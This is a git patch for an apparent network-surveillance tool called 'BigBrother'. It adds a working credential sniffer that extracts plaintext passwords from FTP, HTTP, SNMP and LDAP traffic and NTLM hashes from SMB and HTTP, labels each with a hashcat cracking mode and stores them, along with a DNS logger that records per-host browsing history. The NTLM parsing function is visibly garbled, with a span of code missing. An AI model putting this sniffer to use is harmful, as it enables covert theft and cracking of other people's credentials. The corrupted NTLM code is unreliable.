From 1c85244e9cc4d0985972ce49d9bceb7e46cd25e3 Mon Sep 17 00:00:00 2001 From: n0mad1k Date: Wed, 18 Mar 2026 13:30:39 -0400 Subject: [PATCH] Add 8 passive network observation modules (Phase 2) - PacketCapture: tcpdump subprocess with zstd compression + AES-256-GCM encryption, disk auto-purge - DNSLogger: DNS query/response parsing with DoH detection, batch SQLite writes - TLSSNIExtractor: TLS ClientHello SNI extraction with TCP reassembly for fragments - CredentialSniffer: FTP/HTTP Basic/form POST/SNMP/LDAP/NTLMv1v2 credential extraction - KerberosHarvester: AS-REQ/AS-REP/TGS-REP parsing for hashcat modes 7500/18200/13100 - HostDiscovery: ARP/DHCP/mDNS/NetBIOS/SSDP/LLMNR passive host inventory with OUI lookup - OSFingerprint: p0f-style TCP SYN analysis + HTTP UA/SSH banner/SMB dialect fingerprinting - TrafficAnalyzer: flow tracking, protocol distribution, top talkers, beacon detection All modules extend BaseModule, use capture_bus subscription, struct-based parsing (no scapy), batch SQLite writes, and publish bus events. --- modules/passive/__init__.py | 21 + modules/passive/credential_sniffer.py | 657 ++++++++++++++++++++++ modules/passive/dns_logger.py | 400 ++++++++++++++ modules/passive/host_discovery.py | 688 +++++++++++++++++++++++ modules/passive/kerberos_harvester.py | 750 ++++++++++++++++++++++++++ modules/passive/os_fingerprint.py | 622 +++++++++++++++++++++ modules/passive/packet_capture.py | 372 +++++++++++++ modules/passive/tls_sni_extractor.py | 435 +++++++++++++++ modules/passive/traffic_analyzer.py | 479 ++++++++++++++++ 9 files changed, 4424 insertions(+) create mode 100644 modules/passive/__init__.py create mode 100644 modules/passive/credential_sniffer.py create mode 100644 modules/passive/dns_logger.py create mode 100644 modules/passive/host_discovery.py create mode 100644 modules/passive/kerberos_harvester.py create mode 100644 modules/passive/os_fingerprint.py create mode 100644 modules/passive/packet_capture.py create mode 100644 modules/passive/tls_sni_extractor.py create mode 100644 modules/passive/traffic_analyzer.py diff --git a/modules/passive/__init__.py b/modules/passive/__init__.py new file mode 100644 index 0000000..83c28e3 --- /dev/null +++ b/modules/passive/__init__.py @@ -0,0 +1,21 @@ +"""BigBrother passive modules — zero-noise network observation.""" + +from modules.passive.packet_capture import PacketCapture +from modules.passive.dns_logger import DNSLogger +from modules.passive.tls_sni_extractor import TLSSNIExtractor +from modules.passive.credential_sniffer import CredentialSniffer +from modules.passive.kerberos_harvester import KerberosHarvester +from modules.passive.host_discovery import HostDiscovery +from modules.passive.os_fingerprint import OSFingerprint +from modules.passive.traffic_analyzer import TrafficAnalyzer + +__all__ = [ + "PacketCapture", + "DNSLogger", + "TLSSNIExtractor", + "CredentialSniffer", + "KerberosHarvester", + "HostDiscovery", + "OSFingerprint", + "TrafficAnalyzer", +] diff --git a/modules/passive/credential_sniffer.py b/modules/passive/credential_sniffer.py new file mode 100644 index 0000000..49f6738 --- /dev/null +++ b/modules/passive/credential_sniffer.py @@ -0,0 +1,657 @@ +#!/usr/bin/env python3 +"""Passive credential extraction from network traffic. + +Extracts cleartext and hashed credentials from protocols: + - FTP USER/PASS + - HTTP Basic auth (base64 decode) + - HTTP form POST (password fields) + - SNMP community strings + - LDAP simple bind + - NTLMv1/v2 challenge-response from SMB and HTTP + +Publishes CREDENTIAL_FOUND events immediately on capture. +Batch-writes to SQLite for persistence. +""" + +import base64 +import logging +import os +import re +import socket +import sqlite3 +import struct +import threading +import time +from pathlib import Path +from typing import Optional + +from modules.base import BaseModule + +logger = logging.getLogger("bb.passive.credential_sniffer") + +# Hashcat mode mapping +HASHCAT_MODES = { + "ntlmv2": 5600, + "ntlmv1": 5500, + "net-ntlmv2": 5600, + "net-ntlmv1": 5500, + "ftp": 0, # plaintext + "http_basic": 0, + "http_form": 0, + "snmp": 0, + "ldap_simple": 0, +} + + +class CredentialSniffer(BaseModule): + """Extract credentials from network traffic in real time.""" + + name = "credential_sniffer" + module_type = "passive" + priority = 80 + requires_root = True + + BATCH_SIZE = 100 + FLUSH_INTERVAL = 30 + + def __init__(self, bus, state, config, engine=None): + super().__init__(bus, state, config, engine) + self._capture_bus = None + self._sub_queue = None + self._reader_thread: Optional[threading.Thread] = None + self._flusher_thread: Optional[threading.Thread] = None + self._buffer = [] + self._buffer_lock = threading.Lock() + self._db_path = "" + self._db_conn: Optional[sqlite3.Connection] = None + self._total_creds = 0 + # Track FTP sessions: (src_ip, dst_ip, dst_port) -> last_user + self._ftp_sessions = {} + + # ------------------------------------------------------------------ + # BaseModule interface + # ------------------------------------------------------------------ + + def start(self) -> None: + if self._running: + return + + self._capture_bus = self.config.get("capture_bus") + if not self._capture_bus: + logger.error("CredentialSniffer requires capture_bus in config") + return + + base_dir = self.config.get("data_dir", os.path.expanduser("~/.bigbrother")) + self._db_path = os.path.join(base_dir, "credentials.db") + Path(os.path.dirname(self._db_path)).mkdir(parents=True, exist_ok=True) + self._init_db() + + # Load BPF filter from file or use default + bpf_path = self.config.get("bpf_filter_path", "") + bpf_filter = "" + if bpf_path and os.path.isfile(bpf_path): + with open(bpf_path) as f: + lines = [l.strip() for l in f if l.strip() and not l.startswith("#")] + bpf_filter = " ".join(lines) + if not bpf_filter: + bpf_filter = "port 80 or port 21 or port 23 or port 25 or port 110 or port 143 or port 389 or port 88 or port 445" + + self._sub_queue = self._capture_bus.subscribe( + name=self.name, bpf_filter=bpf_filter, queue_depth=8000 + ) + + self._running = True + self._pid = os.getpid() + self._start_time = time.time() + + self._reader_thread = threading.Thread( + target=self._read_packets, daemon=True, name="bb-cred-reader" + ) + self._reader_thread.start() + + self._flusher_thread = threading.Thread( + target=self._flush_loop, daemon=True, name="bb-cred-flusher" + ) + self._flusher_thread.start() + + self.state.set_module_status(self.name, "running", pid=os.getpid()) + logger.info("CredentialSniffer started") + + def stop(self) -> None: + if not self._running: + return + self._running = False + + if self._capture_bus: + self._capture_bus.unsubscribe(self.name) + + self._flush_buffer() + if self._db_conn: + self._db_conn.close() + self._db_conn = None + + self.state.set_module_status(self.name, "stopped") + logger.info("CredentialSniffer stopped — %d credentials captured", self._total_creds) + + def status(self) -> dict: + return { + "running": self._running, + "pid": self._pid, + "uptime": time.time() - self._start_time if self._start_time else 0, + "total_credentials": self._total_creds, + "buffer_size": len(self._buffer), + } + + def configure(self, config: dict) -> None: + self.config.update(config) + + # ------------------------------------------------------------------ + # Database + # ------------------------------------------------------------------ + + def _init_db(self) -> None: + self._db_conn = sqlite3.connect(self._db_path, check_same_thread=False) + self._db_conn.execute("PRAGMA journal_mode=WAL") + self._db_conn.execute("PRAGMA synchronous=NORMAL") + self._db_conn.executescript(""" + CREATE TABLE IF NOT EXISTS credentials ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + timestamp REAL NOT NULL, + source_ip TEXT NOT NULL, + target_ip TEXT NOT NULL, + target_port INTEGER NOT NULL, + service TEXT NOT NULL, + username TEXT, + domain TEXT, + cred_type TEXT NOT NULL, + cred_value TEXT, + hashcat_mode INTEGER + ); + CREATE INDEX IF NOT EXISTS idx_cred_source ON credentials(source_ip); + CREATE INDEX IF NOT EXISTS idx_cred_service ON credentials(service); + CREATE INDEX IF NOT EXISTS idx_cred_ts ON credentials(timestamp); + """) + self._db_conn.commit() + + # ------------------------------------------------------------------ + # Packet reader + # ------------------------------------------------------------------ + + def _read_packets(self) -> None: + while self._running: + result = self._sub_queue.get(timeout=1.0) + if result is None: + continue + ts, raw_packet = result + try: + self._parse_packet(ts, raw_packet) + except Exception: + pass + + def _parse_packet(self, ts: float, raw: bytes) -> None: + """Route packet to appropriate protocol parser.""" + if len(raw) < 14: + return + + eth_type = struct.unpack("!H", raw[12:14])[0] + ip_offset = 14 + if eth_type == 0x8100: + if len(raw) < 18: + return + eth_type = struct.unpack("!H", raw[16:18])[0] + ip_offset = 18 + + if eth_type != 0x0800: + return + + if len(raw) < ip_offset + 20: + return + + ip_hdr = raw[ip_offset:] + ihl = (ip_hdr[0] & 0x0F) * 4 + ip_proto = ip_hdr[9] + src_ip = socket.inet_ntoa(ip_hdr[12:16]) + dst_ip = socket.inet_ntoa(ip_hdr[16:20]) + + if ip_proto == 6: # TCP + tcp_offset = ip_offset + ihl + if len(raw) < tcp_offset + 20: + return + src_port, dst_port = struct.unpack("!HH", raw[tcp_offset:tcp_offset + 4]) + tcp_hdr_len = ((raw[tcp_offset + 12] >> 4) & 0xF) * 4 + payload = raw[tcp_offset + tcp_hdr_len:] + + if not payload: + return + + # FTP (port 21) + if dst_port == 21 or src_port == 21: + self._parse_ftp(ts, src_ip, dst_ip, dst_port, src_port, payload) + + # HTTP (port 80, 8080, 8443, etc.) + if dst_port in (80, 8080, 8000, 8443, 3128): + self._parse_http(ts, src_ip, dst_ip, dst_port, payload) + + # LDAP (port 389, 3268) + if dst_port in (389, 3268): + self._parse_ldap(ts, src_ip, dst_ip, dst_port, payload) + + # SMB (port 445) — NTLM auth + if dst_port == 445 or src_port == 445: + self._parse_smb_ntlm(ts, src_ip, dst_ip, dst_port, src_port, payload) + + elif ip_proto == 17: # UDP + udp_offset = ip_offset + ihl + if len(raw) < udp_offset + 8: + return + src_port, dst_port = struct.unpack("!HH", raw[udp_offset:udp_offset + 4]) + payload = raw[udp_offset + 8:] + + # SNMP (port 161) + if dst_port == 161: + self._parse_snmp(ts, src_ip, dst_ip, dst_port, payload) + + # ------------------------------------------------------------------ + # Protocol parsers + # ------------------------------------------------------------------ + + def _parse_ftp(self, ts: float, src_ip: str, dst_ip: str, + dst_port: int, src_port: int, payload: bytes) -> None: + """Parse FTP USER and PASS commands.""" + try: + text = payload.decode("ascii", errors="ignore").strip() + except Exception: + return + + # Client -> Server commands + ftp_target = dst_ip if dst_port == 21 else src_ip + ftp_client = src_ip if dst_port == 21 else dst_ip + ftp_port = 21 + + session_key = (ftp_client, ftp_target, ftp_port) + + if text.upper().startswith("USER "): + username = text[5:].strip() + self._ftp_sessions[session_key] = username + + elif text.upper().startswith("PASS "): + password = text[5:].strip() + username = self._ftp_sessions.get(session_key, "") + self._emit_credential( + ts, ftp_client, ftp_target, ftp_port, + "ftp", username, "", "plaintext", password, HASHCAT_MODES["ftp"], + ) + + def _parse_http(self, ts: float, src_ip: str, dst_ip: str, + dst_port: int, payload: bytes) -> None: + """Parse HTTP Authorization headers and form POST data.""" + try: + text = payload.decode("utf-8", errors="ignore") + except Exception: + return + + # HTTP Basic auth + basic_match = re.search( + r"Authorization:\s*Basic\s+([A-Za-z0-9+/=]+)", text, re.IGNORECASE + ) + if basic_match: + try: + decoded = base64.b64decode(basic_match.group(1)).decode("utf-8", errors="replace") + if ":" in decoded: + username, password = decoded.split(":", 1) + self._emit_credential( + ts, src_ip, dst_ip, dst_port, + "http_basic", username, "", "plaintext", password, + HASHCAT_MODES["http_basic"], + ) + except Exception: + pass + + # NTLM over HTTP + ntlm_match = re.search( + r"Authorization:\s*NTLM\s+([A-Za-z0-9+/=]+)", text, re.IGNORECASE + ) + if ntlm_match: + self._parse_ntlm_token( + ts, src_ip, dst_ip, dst_port, "http_ntlm", + base64.b64decode(ntlm_match.group(1)), + ) + + # HTTP form POST with password fields + if text.startswith("POST "): + content_type_match = re.search( + r"Content-Type:\s*application/x-www-form-urlencoded", text, re.IGNORECASE + ) + if content_type_match: + # Find body (after double CRLF) + body_start = text.find("\r\n\r\n") + if body_start == -1: + body_start = text.find("\n\n") + if body_start >= 0: + body = text[body_start:].strip() + self._parse_form_post(ts, src_ip, dst_ip, dst_port, body) + + def _parse_form_post(self, ts: float, src_ip: str, dst_ip: str, + dst_port: int, body: str) -> None: + """Extract username/password from URL-encoded form POST.""" + params = {} + for pair in body.split("&"): + if "=" in pair: + key, value = pair.split("=", 1) + params[key.lower()] = value + + # Look for common password field names + password_keys = ["password", "passwd", "pass", "pwd", "user_password", + "login_password", "secret"] + username_keys = ["username", "user", "login", "email", "userid", + "login_name", "user_name"] + + password = "" + username = "" + for pk in password_keys: + if pk in params: + password = params[pk] + break + + if not password: + return + + for uk in username_keys: + if uk in params: + username = params[uk] + break + + self._emit_credential( + ts, src_ip, dst_ip, dst_port, + "http_form", username, "", "plaintext", password, + HASHCAT_MODES["http_form"], + ) + + def _parse_snmp(self, ts: float, src_ip: str, dst_ip: str, + dst_port: int, payload: bytes) -> None: + """Extract SNMP v1/v2c community strings from packets.""" + if len(payload) < 10: + return + + # SNMP is BER/ASN.1 encoded + # Sequence tag: 0x30 + if payload[0] != 0x30: + return + + offset = 1 + # Skip sequence length + if payload[offset] & 0x80: + num_len_bytes = payload[offset] & 0x7F + offset += 1 + num_len_bytes + else: + offset += 1 + + # Version: Integer tag (0x02) + if offset >= len(payload) or payload[offset] != 0x02: + return + offset += 1 + ver_len = payload[offset] + offset += 1 + if offset + ver_len > len(payload): + return + version = int.from_bytes(payload[offset:offset + ver_len], "big") + offset += ver_len + + # Only v1 (0) and v2c (1) have community strings + if version > 1: + return + + # Community string: OctetString tag (0x04) + if offset >= len(payload) or payload[offset] != 0x04: + return + offset += 1 + if offset >= len(payload): + return + comm_len = payload[offset] + offset += 1 + if offset + comm_len > len(payload): + return + + community = payload[offset:offset + comm_len].decode("ascii", errors="replace") + + # Skip trivially useless ones + if community.lower() in ("", "public"): + return + + self._emit_credential( + ts, src_ip, dst_ip, dst_port, + "snmp", "", "", "community_string", community, + HASHCAT_MODES["snmp"], + ) + + def _parse_ldap(self, ts: float, src_ip: str, dst_ip: str, + dst_port: int, payload: bytes) -> None: + """Extract LDAP simple bind credentials.""" + if len(payload) < 14: + return + + # LDAP messages are BER encoded + # Sequence (0x30) + if payload[0] != 0x30: + return + + offset = 1 + # Skip outer sequence length + seq_len, offset = self._ber_length(payload, offset) + if seq_len < 0: + return + + # MessageID: Integer (0x02) + if offset >= len(payload) or payload[offset] != 0x02: + return + offset += 1 + id_len, offset = self._ber_length(payload, offset) + if id_len < 0: + return + offset += id_len + + # BindRequest: Application[0] = 0x60 + if offset >= len(payload) or payload[offset] != 0x60: + return + offset += 1 + bind_len, offset = self._ber_length(payload, offset) + if bind_len < 0: + return + + # Version: Integer (0x02) + if offset >= len(payload) or payload[offset] != 0x02: + return + offset += 1 + ver_len, offset = self._ber_length(payload, offset) + if ver_len < 0: + return + offset += ver_len + + # DN: OctetString (0x04) + if offset >= len(payload) or payload[offset] != 0x04: + return + offset += 1 + dn_len, offset = self._ber_length(payload, offset) + if dn_len < 0 or offset + dn_len > len(payload): + return + dn = payload[offset:offset + dn_len].decode("utf-8", errors="replace") + offset += dn_len + + # Auth choice: Simple = Context[0] = 0x80 + if offset >= len(payload) or payload[offset] != 0x80: + return + offset += 1 + pass_len, offset = self._ber_length(payload, offset) + if pass_len < 0 or offset + pass_len > len(payload): + return + password = payload[offset:offset + pass_len].decode("utf-8", errors="replace") + + if not password: + return + + self._emit_credential( + ts, src_ip, dst_ip, dst_port, + "ldap_simple", dn, "", "plaintext", password, + HASHCAT_MODES["ldap_simple"], + ) + + def _parse_smb_ntlm(self, ts: float, src_ip: str, dst_ip: str, + dst_port: int, src_port: int, payload: bytes) -> None: + """Extract NTLM auth from SMB2 session setup messages.""" + # SMB2 header: 0xFE 'S' 'M' 'B' + # Search for NTLMSSP signature in payload + ntlmssp_offset = payload.find(b"NTLMSSP\x00") + if ntlmssp_offset < 0: + return + + ntlm_data = payload[ntlmssp_offset:] + target_ip = dst_ip if dst_port == 445 else src_ip + client_ip = src_ip if dst_port == 445 else dst_ip + + self._parse_ntlm_token(ts, client_ip, target_ip, 445, "smb", ntlm_data) + + def _parse_ntlm_token(self, ts: float, src_ip: str, dst_ip: str, + dst_port: int, service: str, data: bytes) -> None: + """Parse NTLMSSP authentication message (Type 3) for NTLMv1/v2 hashes.""" + if len(data) < 12: + return + + # Check NTLMSSP signature + if data[:8] != b"NTLMSSP\x00": + return + + msg_type = struct.unpack(" 0 else "" + cred_value = f"{username}::{domain}:{lm_hash}:{nt_hash}:" + cred_type = "ntlmv1" + hashcat_mode = HASHCAT_MODES["ntlmv1"] + elif nt_len > 24: + # NTLMv2 + nt_response = data[nt_off:nt_off + nt_len] + nt_proof = nt_response[:16].hex() + nt_blob = nt_response[16:].hex() + # Server challenge would ideally come from Type 2 message + # For now, format as hashcat-compatible partial + cred_value = f"{username}::{domain}::{nt_proof}:{nt_blob}" + cred_type = "ntlmv2" + hashcat_mode = HASHCAT_MODES["ntlmv2"] + else: + return + + self._emit_credential( + ts, src_ip, dst_ip, dst_port, + service, username, domain, cred_type, cred_value, hashcat_mode, + ) + + @staticmethod + def _ber_length(data: bytes, offset: int) -> tuple: + """Read a BER-encoded length. Returns (length, new_offset) or (-1, offset) on error.""" + if offset >= len(data): + return -1, offset + first = data[offset] + offset += 1 + if first & 0x80 == 0: + return first, offset + num_bytes = first & 0x7F + if num_bytes == 0 or offset + num_bytes > len(data): + return -1, offset + length = int.from_bytes(data[offset:offset + num_bytes], "big") + return length, offset + num_bytes + + # ------------------------------------------------------------------ + # Credential emission + # ------------------------------------------------------------------ + + def _emit_credential(self, ts: float, src_ip: str, target_ip: str, + target_port: int, service: str, username: str, + domain: str, cred_type: str, cred_value: str, + hashcat_mode: int) -> None: + """Buffer credential for SQLite and immediately publish bus event.""" + self._total_creds += 1 + + record = (ts, src_ip, target_ip, target_port, service, + username, domain, cred_type, cred_value, hashcat_mode) + + with self._buffer_lock: + self._buffer.append(record) + if len(self._buffer) >= self.BATCH_SIZE: + self._flush_buffer() + + # Immediate bus notification + self.bus.emit("CREDENTIAL_FOUND", { + "source_ip": src_ip, + "target_ip": target_ip, + "target_port": target_port, + "service": service, + "username": username, + "domain": domain, + "cred_type": cred_type, + "hashcat_mode": hashcat_mode, + }, source_module=self.name) + + logger.info( + "CREDENTIAL: %s %s@%s:%d (%s/%s)", + service, username, target_ip, target_port, cred_type, + f"hashcat -m {hashcat_mode}" if hashcat_mode else "plaintext", + ) + + # ------------------------------------------------------------------ + # Buffer flush + # ------------------------------------------------------------------ + + def _flush_loop(self) -> None: + while self._running: + time.sleep(self.FLUSH_INTERVAL) + try: + self._flush_buffer() + except Exception: + logger.exception("Credential flush error") + + def _flush_buffer(self) -> None: + with self._buffer_lock: + batch = list(self._buffer) + self._buffer.clear() + + if not batch or not self._db_conn: + return + + try: + self._db_conn.executemany( + "INSERT INTO credentials " + "(timestamp, source_ip, target_ip, target_port, service, " + "username, domain, cred_type, cred_value, hashcat_mode) " + "VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?)", + batch, + ) + self._db_conn.commit() + except Exception: + logger.exception("Failed to flush %d credentials", len(batch)) diff --git a/modules/passive/dns_logger.py b/modules/passive/dns_logger.py new file mode 100644 index 0000000..c72dc49 --- /dev/null +++ b/modules/passive/dns_logger.py @@ -0,0 +1,400 @@ +#!/usr/bin/env python3 +"""Passive DNS query logger — builds per-host browsing history from wire. + +Subscribes to capture_bus with BPF "port 53". Parses DNS query/response +packets using struct (no scapy dependency). Buffers records and batch-flushes +to SQLite every 60 seconds or 1000 records. + +Also flags DoH connections to known resolvers on port 443 as DNS blind spots. +""" + +import logging +import os +import socket +import sqlite3 +import struct +import threading +import time +from pathlib import Path +from typing import Optional + +from modules.base import BaseModule + +logger = logging.getLogger("bb.passive.dns_logger") + +# Well-known DoH resolver IPs +DOH_RESOLVERS = frozenset([ + "1.1.1.1", "1.0.0.1", # Cloudflare + "8.8.8.8", "8.8.4.4", # Google + "9.9.9.9", "149.112.112.112", # Quad9 + "208.67.222.222", "208.67.220.220", # OpenDNS +]) + +# DNS query type map +QTYPES = { + 1: "A", 2: "NS", 5: "CNAME", 6: "SOA", 12: "PTR", + 15: "MX", 16: "TXT", 28: "AAAA", 33: "SRV", 35: "NAPTR", + 43: "DS", 46: "RRSIG", 47: "NSEC", 48: "DNSKEY", + 52: "TLSA", 65: "HTTPS", 257: "CAA", 255: "ANY", +} + + +class DNSLogger(BaseModule): + """Log all DNS queries and responses per source IP.""" + + name = "dns_logger" + module_type = "passive" + priority = 100 + requires_root = True + + BATCH_SIZE = 1000 + FLUSH_INTERVAL = 60 # seconds + + def __init__(self, bus, state, config, engine=None): + super().__init__(bus, state, config, engine) + self._capture_bus = None + self._sub_queue = None + self._reader_thread: Optional[threading.Thread] = None + self._flusher_thread: Optional[threading.Thread] = None + self._buffer = [] + self._buffer_lock = threading.Lock() + self._db_path = "" + self._db_conn: Optional[sqlite3.Connection] = None + self._total_queries = 0 + self._doh_detections = 0 + + # ------------------------------------------------------------------ + # BaseModule interface + # ------------------------------------------------------------------ + + def start(self) -> None: + if self._running: + return + + self._capture_bus = self.config.get("capture_bus") + if not self._capture_bus: + logger.error("DNSLogger requires capture_bus in config") + return + + # Database setup + base_dir = self.config.get("data_dir", os.path.expanduser("~/.bigbrother")) + self._db_path = os.path.join(base_dir, "dns_queries.db") + Path(os.path.dirname(self._db_path)).mkdir(parents=True, exist_ok=True) + self._init_db() + + # Subscribe to capture bus for DNS traffic + self._sub_queue = self._capture_bus.subscribe( + name=self.name, bpf_filter="port 53", queue_depth=10000 + ) + + self._running = True + self._pid = os.getpid() + self._start_time = time.time() + + # Packet reader thread + self._reader_thread = threading.Thread( + target=self._read_packets, daemon=True, name="bb-dns-reader" + ) + self._reader_thread.start() + + # Periodic flusher thread + self._flusher_thread = threading.Thread( + target=self._flush_loop, daemon=True, name="bb-dns-flusher" + ) + self._flusher_thread.start() + + self.state.set_module_status(self.name, "running", pid=os.getpid()) + logger.info("DNSLogger started — listening for DNS on port 53") + + def stop(self) -> None: + if not self._running: + return + self._running = False + + # Unsubscribe from capture bus + if self._capture_bus: + self._capture_bus.unsubscribe(self.name) + + # Final flush + self._flush_buffer() + + if self._db_conn: + self._db_conn.close() + self._db_conn = None + + self.state.set_module_status(self.name, "stopped") + logger.info("DNSLogger stopped — %d total queries logged", self._total_queries) + + def status(self) -> dict: + return { + "running": self._running, + "pid": self._pid, + "uptime": time.time() - self._start_time if self._start_time else 0, + "total_queries": self._total_queries, + "doh_detections": self._doh_detections, + "buffer_size": len(self._buffer), + } + + def configure(self, config: dict) -> None: + self.config.update(config) + + # ------------------------------------------------------------------ + # Database + # ------------------------------------------------------------------ + + def _init_db(self) -> None: + self._db_conn = sqlite3.connect(self._db_path, check_same_thread=False) + self._db_conn.execute("PRAGMA journal_mode=WAL") + self._db_conn.execute("PRAGMA synchronous=NORMAL") + self._db_conn.executescript(""" + CREATE TABLE IF NOT EXISTS dns_queries ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + timestamp REAL NOT NULL, + source_ip TEXT NOT NULL, + domain TEXT NOT NULL, + query_type TEXT, + response_ips TEXT, + ttl INTEGER, + is_doh INTEGER DEFAULT 0 + ); + CREATE INDEX IF NOT EXISTS idx_dns_source ON dns_queries(source_ip); + CREATE INDEX IF NOT EXISTS idx_dns_domain ON dns_queries(domain); + CREATE INDEX IF NOT EXISTS idx_dns_ts ON dns_queries(timestamp); + """) + self._db_conn.commit() + + # ------------------------------------------------------------------ + # Packet reader + # ------------------------------------------------------------------ + + def _read_packets(self) -> None: + """Pull packets from capture bus queue and parse DNS.""" + while self._running: + result = self._sub_queue.get(timeout=1.0) + if result is None: + continue + + ts, raw_packet = result + try: + self._parse_packet(ts, raw_packet) + except Exception: + pass # Malformed packets are silently dropped + + def _parse_packet(self, ts: float, raw: bytes) -> None: + """Parse an Ethernet frame containing a DNS packet.""" + if len(raw) < 14: + return + + # Ethernet header + eth_type = struct.unpack("!H", raw[12:14])[0] + if eth_type == 0x8100: # 802.1Q VLAN + if len(raw) < 18: + return + eth_type = struct.unpack("!H", raw[16:18])[0] + ip_offset = 18 + else: + ip_offset = 14 + + if eth_type != 0x0800: # IPv4 only + return + + if len(raw) < ip_offset + 20: + return + + # IPv4 header + ip_header = raw[ip_offset:] + ihl = (ip_header[0] & 0x0F) * 4 + ip_proto = ip_header[9] + src_ip = socket.inet_ntoa(ip_header[12:16]) + dst_ip = socket.inet_ntoa(ip_header[16:20]) + + # UDP (17) or TCP (6) transport + transport_offset = ip_offset + ihl + + if ip_proto == 17: # UDP + if len(raw) < transport_offset + 8: + return + src_port, dst_port = struct.unpack("!HH", raw[transport_offset:transport_offset + 4]) + dns_offset = transport_offset + 8 + + # Check for DoH: known resolvers on port 443 + if dst_port == 443 and dst_ip in DOH_RESOLVERS: + self._doh_detections += 1 + record = (ts, src_ip, f"[DoH:{dst_ip}]", "DoH", "", 0, 1) + with self._buffer_lock: + self._buffer.append(record) + if len(self._buffer) >= self.BATCH_SIZE: + self._flush_buffer() + return + + if src_port != 53 and dst_port != 53: + return + + elif ip_proto == 6: # TCP DNS (rare, used for large responses) + if len(raw) < transport_offset + 20: + return + src_port, dst_port = struct.unpack("!HH", raw[transport_offset:transport_offset + 4]) + if src_port != 53 and dst_port != 53: + return + tcp_header_len = ((raw[transport_offset + 12] >> 4) & 0xF) * 4 + dns_offset = transport_offset + tcp_header_len + # TCP DNS has 2-byte length prefix + if len(raw) < dns_offset + 2: + return + dns_offset += 2 + else: + return + + # Parse DNS payload + dns_data = raw[dns_offset:] + if len(dns_data) < 12: + return + + self._parse_dns(ts, src_ip, dst_ip, src_port, dst_port, dns_data) + + def _parse_dns(self, ts: float, src_ip: str, dst_ip: str, + src_port: int, dst_port: int, data: bytes) -> None: + """Parse DNS header + question/answer sections.""" + # DNS header: ID(2) FLAGS(2) QDCOUNT(2) ANCOUNT(2) NSCOUNT(2) ARCOUNT(2) + txid, flags, qdcount, ancount, nscount, arcount = struct.unpack( + "!HHHHHH", data[:12] + ) + is_response = bool(flags & 0x8000) + offset = 12 + + # Parse questions + domains = [] + query_types = [] + for _ in range(qdcount): + domain, offset = self._read_name(data, offset) + if offset + 4 > len(data): + return + qtype, qclass = struct.unpack("!HH", data[offset:offset + 4]) + offset += 4 + if domain: + domains.append(domain) + query_types.append(QTYPES.get(qtype, str(qtype))) + + # Parse answers (responses only) + response_ips = [] + min_ttl = 0 + if is_response: + for _ in range(ancount): + if offset >= len(data): + break + _name, offset = self._read_name(data, offset) + if offset + 10 > len(data): + break + rtype, _rclass, ttl, rdlength = struct.unpack( + "!HHIH", data[offset:offset + 10] + ) + offset += 10 + if offset + rdlength > len(data): + break + + if rtype == 1 and rdlength == 4: # A record + ip = socket.inet_ntoa(data[offset:offset + 4]) + response_ips.append(ip) + elif rtype == 28 and rdlength == 16: # AAAA record + try: + ip = socket.inet_ntop(socket.AF_INET6, data[offset:offset + 16]) + response_ips.append(ip) + except Exception: + pass + + if ttl > 0: + min_ttl = ttl if min_ttl == 0 else min(min_ttl, ttl) + + offset += rdlength + + # Build records for each queried domain + # For queries: source_ip is the querier + # For responses: dst_ip is the querier (source is the DNS server) + querier_ip = src_ip if not is_response else dst_ip + + for i, domain in enumerate(domains): + if not domain or domain == ".": + continue + qtype = query_types[i] if i < len(query_types) else "" + resp_str = ",".join(response_ips) if response_ips else "" + + record = (ts, querier_ip, domain, qtype, resp_str, min_ttl, 0) + self._total_queries += 1 + + with self._buffer_lock: + self._buffer.append(record) + if len(self._buffer) >= self.BATCH_SIZE: + self._flush_buffer() + + @staticmethod + def _read_name(data: bytes, offset: int, max_jumps: int = 10) -> tuple: + """Read a DNS name with pointer compression. Returns (name, new_offset).""" + parts = [] + jumped = False + saved_offset = offset + jumps = 0 + + while offset < len(data): + length = data[offset] + + if length == 0: + offset += 1 + break + + if (length & 0xC0) == 0xC0: + # Pointer + if offset + 1 >= len(data): + break + ptr = struct.unpack("!H", data[offset:offset + 2])[0] & 0x3FFF + if not jumped: + saved_offset = offset + 2 + jumped = True + offset = ptr + jumps += 1 + if jumps > max_jumps: + break + continue + + offset += 1 + if offset + length > len(data): + break + try: + parts.append(data[offset:offset + length].decode("utf-8", errors="replace")) + except Exception: + parts.append("?") + offset += length + + name = ".".join(parts) if parts else "" + return (name, saved_offset if jumped else offset) + + # ------------------------------------------------------------------ + # Buffer flush + # ------------------------------------------------------------------ + + def _flush_loop(self) -> None: + """Periodically flush DNS record buffer to SQLite.""" + while self._running: + time.sleep(self.FLUSH_INTERVAL) + try: + self._flush_buffer() + except Exception: + logger.exception("DNS flush error") + + def _flush_buffer(self) -> None: + """Write buffered DNS records to SQLite.""" + with self._buffer_lock: + batch = list(self._buffer) + self._buffer.clear() + + if not batch or not self._db_conn: + return + + try: + self._db_conn.executemany( + "INSERT INTO dns_queries (timestamp, source_ip, domain, query_type, response_ips, ttl, is_doh) " + "VALUES (?, ?, ?, ?, ?, ?, ?)", + batch, + ) + self._db_conn.commit() + except Exception: + logger.exception("Failed to flush %d DNS records", len(batch)) diff --git a/modules/passive/host_discovery.py b/modules/passive/host_discovery.py new file mode 100644 index 0000000..79ed0fd --- /dev/null +++ b/modules/passive/host_discovery.py @@ -0,0 +1,688 @@ +#!/usr/bin/env python3 +"""Passive host discovery via broadcast/multicast protocol observation. + +Parses: + - ARP requests/replies (IP-MAC mapping) + - DHCP request/ACK (hostname, vendor class, option 55 fingerprinting) + - mDNS/Bonjour (hostnames, services) + - NetBIOS name queries (NBNS port 137) + - SSDP/UPnP announcements (port 1900) + - LLMNR queries (port 5355) + +Publishes HOST_DISCOVERED events. Correlates multiple signals per host +for IP + MAC + hostname + vendor (OUI) + OS guess. +""" + +import logging +import os +import socket +import sqlite3 +import struct +import threading +import time +from pathlib import Path +from typing import Optional + +from modules.base import BaseModule + +logger = logging.getLogger("bb.passive.host_discovery") + + +class HostDiscovery(BaseModule): + """Build host inventory from passive network observation.""" + + name = "host_discovery" + module_type = "passive" + priority = 100 + requires_root = True + + BATCH_SIZE = 200 + FLUSH_INTERVAL = 60 + + def __init__(self, bus, state, config, engine=None): + super().__init__(bus, state, config, engine) + self._capture_bus = None + self._sub_queue = None + self._reader_thread: Optional[threading.Thread] = None + self._flusher_thread: Optional[threading.Thread] = None + # In-memory host table: ip -> host_info dict + self._hosts = {} 